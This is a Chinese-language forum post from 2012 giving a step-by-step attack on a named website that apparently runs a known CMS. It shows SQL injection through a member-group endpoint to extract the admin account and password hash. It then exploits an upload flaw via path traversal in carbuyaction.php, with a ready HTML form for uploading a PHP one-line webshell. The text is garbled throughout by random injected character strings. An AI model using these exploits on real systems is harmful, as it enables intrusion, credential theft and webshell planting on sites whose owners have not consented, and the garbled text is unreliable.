①注入漏洞。& ^" S/ S5 g. Q7 p W8 I
这站 http://www.political-security.com/$ E2 a$ g! _; u% X1 O
首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，
. x+ U' Q1 G* O0 {1 ^www.political-security.com/data/mysql_error_trace.inc 爆后台1 H& g, v7 u& i6 X+ Z* b7 }& C5 z
然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。
8 h; Q8 O- Y) |. C0 \然后写上语句
- y6 ]0 j4 P0 b4 Z4 [查看管理员帐号, s! o; O {5 p1 ]$ x% I5 W) R! }
http://www.political-security.co ... &membergroup=@`
/ { f- ]( m) _
8 b: q: d. V$ Badmin k. n+ K7 w8 I3 [; i' j: v J
! ~0 {2 Q% g7 q, d9 o" s
查看管理员密码, N" A2 S3 I _
http://www.political-security.co ... &membergroup=@`$ h8 h7 A8 S2 U& l9 i% v
! V6 R# X, O+ X! G8d29b1ef9f8c5a5af4296 z$ V \1 Q7 K, g$ O1 ^5 e% C
?* F! M8 j1 Q. W查看管理员密码) b0 `* P/ }- H
% n' Z; V6 i4 w! Y得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD55 F* u' ~2 E. h4 P9 {
' N u9 a) q' p3 ?( Q8d2
* [! j' w2 V) d) u T, e2 f9b1ef9f8c5a5af42! F3 ?0 }# U* s; `3 H1 R
9$ k G1 N4 w, [2 g1 y' p
0 q4 c, l8 _* mcmd5没解出来 只好测试第二个方法
3 ?1 |$ V4 d# _8 y" B' a8 b6 k7 ]' t2 K1 f: ]2 g9 U
4 i: T- b, e$ f" `$ g6 [" H3 w②上传漏洞：/ r4 u8 {4 I% f) B, u
( s/ w T9 P) ?. {
只要登陆会员中心，然后访问页面链接* C% }. ]* L% l1 C! t% [$ Z) Y
“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”
/ V. ? T: j S+ Z5 P& ^
& e! m2 _/ u4 C/ o! U如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”
. ^- W4 ~2 X0 k3 |
7 D d4 U% j K% V! @. C于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm
! E H; |6 a ]& C% Y9 R; w0 m/ F0 Z5 s; G
<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>
2 b; M* ~; Q) Y9 i s或者
8 R& @* K, O' }0 e$ Q/ A即可上传成功 |
发表于 2012-9-13 10:56:59
收藏
支持
反对